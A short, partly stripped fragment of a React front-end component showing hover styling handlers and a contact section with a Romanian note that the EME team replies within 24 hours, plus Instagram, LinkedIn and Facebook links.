{ e.currentTarget.style.color = 'var(--ink)'; e.currentTarget.style.background = 'var(--surface-2)'; }} onMouseLeave={e => { e.currentTarget.style.color = 'var(--ink-3)'; e.currentTarget.style.background = ''; }}>
))}
{/* Contact */}
Contact

Întrebări? Echipa EME răspunde în 24h.

{[ { i: 'instagram', l: 'Instagram' }, { i: 'linkedin', l: 'LinkedIn' }, { i: 'facebook', l: 'Facebook' }, ].map(s => ( ))}
e.preventDefault()}>